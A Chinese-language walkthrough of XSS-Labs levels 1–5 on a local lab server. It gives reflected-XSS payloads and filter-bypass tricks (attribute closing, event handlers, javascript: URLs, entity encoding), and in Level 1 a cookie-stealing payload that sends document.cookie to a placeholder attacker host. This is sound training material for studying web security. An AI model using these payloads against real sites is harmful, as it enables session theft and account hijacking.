XSS-Labs 前 5 关 超详细通关全解

前置通用准备

  1. 靶场访问入口http://127.0.0.1/xss-labs/,点击对应关卡序号即可进入
  2. 必备工具 :浏览器 F12 开发者工具(Elements面板看 DOM 结构、Console看 JS 报错、Network看请求参数)
  3. 核心前置概念 :前 5 关均为反射型 XSS(非持久型 XSS):恶意 JS 脚本通过 URL 参数传递,服务器解析后将内容拼接到 HTML 页面返回,脚本在受害者浏览器中执行,攻击一次性生效,需诱导用户点击恶意链接。
  4. 验证成功标准 :成功执行alert(1)弹窗(证明可以执行任意 JS 代码,是 XSS 漏洞的基础验证方式)
  5. 通用操作逻辑 :先输入测试内容(如test)提交 → 右键查看页面源码 → 分析输入内容的输出位置、过滤规则 → 针对性构造 Payload。

Level 1 无过滤基础反射型 XSS

关卡核心考点

无任何过滤、无编码的最基础反射型 XSS,URL 参数直接拼接到 HTML 页面中,考察 XSS 最核心的原理。

前置分析

  1. 进入关卡,URL 默认是:http://127.0.0.1/xss-labs/level1.php?name=test

  2. 页面显示:欢迎用户test,右键查看页面源码,核心代码:

    html

    预览

    复制代码
    <h2 align=center>欢迎用户test</h2>
  3. 结论:URL 中的name参数值,无任何过滤、无任何转义 ,直接被拼接到<h2>标签内部,浏览器会直接解析参数中的 HTML/JS 代码。

解题思路

直接在name参数中写入完整的 JS 执行脚本,让浏览器将其解析为可执行的 JS 代码。

超详细分步操作

  1. 选中浏览器地址栏的 URL,将name参数的值test替换为 Payload

  2. 替换后的完整 URL:http://127.0.0.1/xss-labs/level1.php?name=<script>alert(1)</script>

  3. 按下回车访问页面,页面加载完成后立刻弹出1的弹窗,通关成功。

  4. 验证:右键查看源码,可看到代码变为: html

    预览

    复制代码
    <h2 align=center>欢迎用户<script>alert(1)</script></h2>

    浏览器成功解析<script>标签并执行了内部的 JS 代码。

最终 Payload

html

预览

复制代码
<script>alert(1)</script>

核心涉及知识点

  1. HTML 标签解析规则:浏览器会自动识别<script>标签,并执行标签内的 JavaScript 代码
  2. 反射型 XSS 的核心原理:用户可控的输入,未经处理直接输出到 HTML 页面,导致恶意代码执行
  3. URL 参数传递规则:GET 请求的参数会直接暴露在 URL 中,可被篡改、分享。

实际攻击运用场景

  1. 窃取用户 Cookie:构造 Payload <script>window.location.href='http://攻击者IP/steal.php?cookie='+document.cookie</script>,诱导用户点击后,用户的登录 Cookie 会被发送到攻击者服务器,实现账号劫持。
  2. 钓鱼攻击:构造脚本自动跳转到钓鱼页面,诱导用户输入账号密码。
  3. 网页篡改:恶意修改页面内容,插入虚假广告、诈骗信息。

补充知识点 & 拓展

  1. 基础验证的alert(1)仅用于证明漏洞存在,实际攻击可执行任意 JS 操作,包括键盘记录、页面挂马、内网扫描等。
  2. <script>标签的执行规则:标签必须成对出现,且默认同步执行,页面加载到该标签时会立刻执行代码。
  3. 大小写绕过拓展:<Script>alert(1)</Script> 同样可以执行,HTML 标签不区分大小写。

Level 2 标签闭合型 XSS

关卡核心考点

HTML 标签 / 属性闭合绕过,输入内容在两处输出,一处被转义、一处无过滤,考察 XSS 的输出位置对 Payload 构造的影响。

前置分析

  1. 进入关卡,在输入框输入test点击搜索,URL 变为:http://127.0.0.1/xss-labs/level2.php?keyword=test

  2. 右键查看页面源码,核心代码: php

    运行

    复制代码
    <!-- 第一处输出:用htmlspecialchars转义了特殊字符,无法注入 -->
    <h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>
    <!-- 第二处输出:无任何过滤,直接拼接到input标签的value属性中 -->
    <input name=keyword  value="'.$str.'">
  3. 结论:直接输入<script>alert(1)</script>,会被放到value="xxx"中,变成 input 标签的属性值,不会被浏览器解析为 JS 代码,必须先闭合标签,才能让脚本执行。

解题思路

先闭合input标签的value属性和标签本身,让后续的<script>标签被浏览器解析为独立的 HTML 元素,从而执行 JS 代码。

超详细分步操作

  1. 选中浏览器地址栏的 URL,将keyword参数的值test替换为 Payload

  2. 替换后的完整 URL:http://127.0.0.1/xss-labs/level2.php?keyword="><script>alert(1)</script>

  3. 按下回车访问页面,页面加载完成后立刻弹窗,通关成功。

  4. 验证:查看源码,拼接后的 input 标签变为: html

    预览

    复制代码
    <input name=keyword  value=""><script>alert(1)</script>">

    其中">先闭合了value属性,再闭合了input标签,后续的<script>标签被正常解析执行,末尾的">会被浏览器当成普通文本,不影响代码执行。

最终 Payload

html

预览

复制代码
"><script>alert(1)</script>

核心涉及知识点

  1. HTML 属性闭合规则:双引号"用于包裹标签属性值,提前写入"可以强制结束属性,注入新的内容。
  2. htmlspecialchars()函数的作用:将<>"&转义为 HTML 实体(如&lt;),让浏览器将其当成普通文本,而非 HTML 代码,是 PHP 中最基础的 XSS 防御手段。
  3. XSS 注入的核心原则:输入的输出位置,决定了 Payload 的构造方式

实际攻击运用场景

  1. 网站搜索框注入:绝大多数网站的搜索功能,都会把用户输入的关键词放到<input>标签的value属性中,若未做过滤,就会出现该漏洞。
  2. 表单字段回显:用户注册、资料修改页面,若将用户输入的内容回显到输入框的 value 中,未做过滤也会触发该漏洞。

补充知识点 & 拓展

  1. 更干净的 Payload:用 HTML 注释掉末尾多余的内容,"><script>alert(1)</script><!--<!--会把后面的">注释掉,页面不会显示多余的符号。
  2. 单引号闭合拓展:如果属性用单引号'包裹(如value='xxx'),则需要用'闭合,Payload 改为'><script>alert(1)</script>
  3. 其他标签闭合方式:也可以用" onclick="alert(1)",点击输入框时触发弹窗,无需闭合整个标签。

Level 3 事件触发型 XSS(单引号闭合)

关卡核心考点

尖括号<>被转义,无法注入新标签,考察事件驱动型 XSS,利用 HTML 标签的内置事件执行 JS 代码。

前置分析

  1. 进入关卡,输入test提交,URL 变为:http://127.0.0.1/xss-labs/level3.php?keyword=test

  2. 查看页面源码,核心代码: php

    运行

    复制代码
    $str = $_GET["keyword"];
    $str = htmlspecialchars($str); // 转义了< > " &,但默认不转义单引号'
    echo '<input name=keyword  value='.$str.'>'; // 注意:value属性用单引号包裹
  3. 输入<script>alert(1)</script>测试,发现<>被转义成了&lt;&gt;,浏览器会当成普通文本,无法创建新标签,因此<script>标签完全失效。

解题思路

放弃注入新标签,利用<input>标签本身的内置事件属性,闭合单引号包裹的value属性,在标签内注入事件触发的 JS 代码,无需尖括号即可执行。

超详细分步操作

  1. 选中地址栏 URL,将keyword参数的值替换为 Payload

  2. 替换后的完整 URL:http://127.0.0.1/xss-labs/level3.php?keyword=' onclick='alert(1)'

  3. 按下回车访问页面,点击页面上的输入框,立刻弹出1的弹窗,通关成功。

  4. 验证:查看源码,拼接后的 input 标签变为: html

    预览

    复制代码
    <input name=keyword  value='' onclick='alert(1)'>

    其中'先闭合了value属性,注入了onclick点击事件,当用户点击输入框时,就会执行事件内的 JS 代码。

最终 Payload(2 种常用)

  1. 点击触发:' onclick='alert(1)'
  2. 鼠标移入自动触发(无需点击):' onmouseover='alert(1)'

核心涉及知识点

  1. HTML DOM 事件:HTML 标签内置的、可触发 JS 代码执行的属性,所有on开头的属性均为事件属性。
  2. 事件驱动型 XSS:无需创建新的 HTML 标签,直接在现有标签内注入事件属性,触发 JS 执行,是绕过尖括号过滤的最常用手段。
  3. htmlspecialchars()的默认规则:仅转义双引号",不转义单引号',若属性用单引号包裹,就存在闭合注入的风险。

实际攻击运用场景

  1. 严格过滤尖括号的场景:很多网站会直接过滤 / 转义<>,认为这样就能防御 XSS,但完全忽略了标签内的事件属性注入。
  2. 表单字段、评论区、个人资料页:这些场景通常会限制 HTML 标签的使用,但未限制事件属性,极易出现该漏洞。

补充知识点 & 拓展

  1. 无用户交互自动触发 Payload:' onfocus=alert(1) autofocus 'autofocus会让页面加载时自动聚焦到输入框,触发onfocus事件,无需用户任何操作即可执行代码。
  2. 常用事件清单:onclick(点击)、onmouseover(鼠标移入)、onload(加载完成)、onerror(资源加载失败)、onblur(失去焦点)。
  3. 防御绕过:若网站过滤了双引号,就用单引号闭合;过滤了单引号,就用双引号闭合,需根据属性的包裹符号灵活调整。

Level 4 事件触发型 XSS(双引号闭合)

关卡核心考点

尖括号<>被直接删除(而非转义),黑名单过滤危险字符,考察黑名单过滤的局限性,以及双引号闭合的事件注入。

前置分析

  1. 进入关卡,输入test提交,URL 变为:http://127.0.0.1/xss-labs/level4.php?keyword=test

  2. 查看页面源码,核心过滤代码: php

    运行

    复制代码
    $str = $_GET["keyword"];
    $str2=str_replace("<","",$str); // 把左尖括号直接替换为空
    $str3=str_replace(">","",$str2); // 把右尖括号直接替换为空
    echo '<input name=keyword  value="'.$str3.'">'; // value属性用双引号包裹
  3. 测试发现:无论输入多少个<>,都会被直接删除,无法创建任何新标签,<script><a>等标签完全失效。

解题思路

尖括号被彻底删除,依然无法注入新标签,继续利用<input>标签的事件属性,用双引号闭合value属性,在标签内注入事件执行 JS 代码。

超详细分步操作

  1. 选中地址栏 URL,将keyword参数的值替换为 Payload

  2. 替换后的完整 URL:http://127.0.0.1/xss-labs/level4.php?keyword=" onclick="alert(1)"

  3. 按下回车访问页面,点击输入框,弹窗成功,通关完成。

  4. 验证:查看源码,拼接后的 input 标签变为: html

    预览

    复制代码
    <input name=keyword  value="" onclick="alert(1)">

    "闭合了双引号包裹的value属性,注入了onclick事件,点击即可执行代码,全程没有使用尖括号,完美绕过过滤。

最终 Payload(2 种常用)

  1. 点击触发:" onclick="alert(1)"
  2. 自动触发:" onfocus=alert(1) autofocus "

核心涉及知识点

  1. 黑名单过滤的局限性:仅过滤 / 删除<>,完全无法防御事件驱动型 XSS,因为事件注入不需要任何尖括号。
  2. 替换为空的过滤缺陷:本关直接把<>删除,而非转义,看似更严格,实则依然无法防御标签内的属性注入。
  3. 双引号属性闭合规则:与单引号闭合逻辑一致,仅需根据属性的包裹符号,选择对应的闭合引号。

实际攻击运用场景

  1. 采用黑名单防御的网站:很多开发者认为 "删除尖括号就能防 XSS",这种防御方式完全无效,事件型 XSS 可以轻松绕过。
  2. 用户输入内容严格限制 HTML 标签的场景:如论坛签名、商品评论、昵称修改等功能,极易出现该漏洞。

补充知识点 & 拓展

  1. 双写绕过测试:本关是直接替换<>为空,尝试输入<<script>>,会被替换为script,但没有尖括号包裹,无法成为有效标签,因此双写绕过无效。
  2. 事件属性的通用性:所有 HTML 标签都支持事件属性,不仅仅是<input><div><img><span>等标签均可使用事件注入。
  3. 进阶绕过:若网站过滤了alert函数,可使用prompt(1)confirm(1)替代,效果完全一致。

Level 5 javascript 伪协议绕过 XSS

关卡核心考点

script关键字、on开头的事件关键字被过滤,且强制转小写,考察javascript 伪协议绕过关键字过滤的思路。

前置分析

  1. 进入关卡,输入test提交,URL 变为:http://127.0.0.1/xss-labs/level5.php?keyword=test

  2. 查看页面源码,核心过滤代码: php

    运行

    复制代码
    $str = strtolower($_GET["keyword"]); // 强制把输入转为小写,大小写绕过失效
    $str2=str_replace("<script","<scr_ipt",$str); // 把<script替换为<scr_ipt,阻断script标签
    $str3=str_replace("on","o_n",$str2); // 把on替换为o_n,阻断所有on开头的事件
    echo '<input name=keyword  value="'.$str3.'">'; // value属性双引号包裹
  3. 过滤规则总结:

    • 强制转小写:<Script>ONCLICK等大小写绕过完全失效
    • 阻断 script 标签:所有<script开头的内容都会被篡改,无法创建 script 标签
    • 阻断所有事件属性:所有on开头的事件都会被替换为o_n,事件型 XSS 完全失效

解题思路

放弃 script 标签和事件属性,利用 HTML 标签的href属性支持的javascript 伪协议 ,闭合标签后注入<a>标签,点击链接即可执行 JS 代码,完美避开所有过滤规则。

超详细分步操作

  1. 选中地址栏 URL,将keyword参数的值替换为 Payload

  2. 替换后的完整 URL:http://127.0.0.1/xss-labs/level5.php?keyword="><a href="javascript:alert(1)">点击弹窗</a>

  3. 按下回车访问页面,页面会出现一个「点击弹窗」的超链接,点击链接即可弹出1的弹窗,通关成功。

  4. 验证:查看源码,拼接后的代码变为: html

    预览

    复制代码
    <input name=keyword  value=""><a href="javascript:alert(1)">点击弹窗</a>">

    ">闭合了 input 标签,注入的<a>标签被正常解析,href属性中的javascript:伪协议,会让浏览器把后面的内容当成 JS 代码执行,全程没有使用scripton关键字,完美绕过过滤。

最终 Payload

html

预览

复制代码
"><a href="javascript:alert(1)">点击弹窗</a>

核心涉及知识点

  1. javascript 伪协议:一种特殊的 URL 协议,格式为javascript:JS代码,浏览器会把冒号后面的内容当成 JS 代码执行,通常用于<a>标签的href属性中。
  2. 关键字过滤的绕过思路:当核心关键字被过滤时,放弃原有攻击路径,寻找不包含被过滤关键字的其他执行方式。
  3. 强制转小写的防御效果:可以彻底阻断大小写绕过,但无法防御不包含被过滤关键字的攻击方式。

实际攻击运用场景

  1. 严格过滤 script 和 on 关键字的场景:很多网站会把scripton加入黑名单,认为这样就能彻底防御 XSS,但 javascript 伪协议可以轻松绕过。
  2. 论坛、博客、评论区:这些场景通常允许用户插入超链接,若未过滤javascript:伪协议,就会出现该漏洞。

补充知识点 & 拓展

  1. 其他支持 javascript 伪协议的标签:<iframe src="javascript:alert(1)"></iframe><img src="javascript:alert(1)">(部分浏览器限制),均可实现相同效果。
  2. 无交互自动触发拓展:可以用<form>标签的action属性配合 javascript 伪协议,实现自动执行,Payload:"><form action="javascript:alert(1)"><input type=submit autofocus>,页面加载时自动聚焦提交按钮,触发表单提交执行代码。
  3. 关键字绕过进阶:若网站过滤了javascript,可通过编码绕过,如javascr&#105;pt:alert(1),HTML 实体编码会被浏览器自动解析,完美绕过关键字过滤。

前 5 关核心思路总结

表格

关卡 核心过滤规则 核心绕过思路 攻击路径递进
Level1 无任何过滤 直接注入 script 标签 最基础的反射型 XSS
Level2 部分输出转义,标签内无过滤 闭合标签 + 注入 script 利用输出位置的防御缺陷
Level3 尖括号转义,单引号无过滤 单引号闭合 + 事件触发 放弃新标签,利用现有标签事件
Level4 尖括号直接删除,双引号无过滤 双引号闭合 + 事件触发 验证黑名单过滤的局限性
Level5 script、on 关键字过滤,强制转小写 javascript 伪协议 + 标签闭合 放弃原有路径,寻找新的 JS 执行方式

XSS 绕过的核心逻辑:根据目标的过滤规则,灵活调整 Payload 构造方式,找到浏览器可解析、目标不拦截的 JS 执行路径

相关推荐
telllong2 小时前
深入理解React Fiber架构:从栈调和到时间切片
前端·react.js·架构
英俊潇洒美少年2 小时前
React18 Hooks 项目重构为 Vue3 组合式API的坑
前端·javascript·重构
雕刻刀2 小时前
服务器模拟断网
linux·服务器·前端
zs宝来了2 小时前
Vite 构建原理:ESBuild 与模块热更新
前端·javascript·框架
2301_814809862 小时前
实战分享Flutter Web 开发:解决跨域(CORS)问题的终极指南
前端·flutter
ayqy贾杰3 小时前
GPT-5.5+Codex全自动搓出macOS游戏,创作链路首次真正连续
前端·面试·游戏开发
英俊潇洒美少年5 小时前
Vue2/Vue3 vue-i18n完整改造流程(异步懒加载+后端接口请求)
前端·javascript·vue.js
空中海11 小时前
第七章:vue工程化与构建工具
前端·javascript·vue.js
zhensherlock11 小时前
Protocol Launcher 系列:Trello 看板管理的协议自动化
前端·javascript·typescript·node.js·自动化·github·js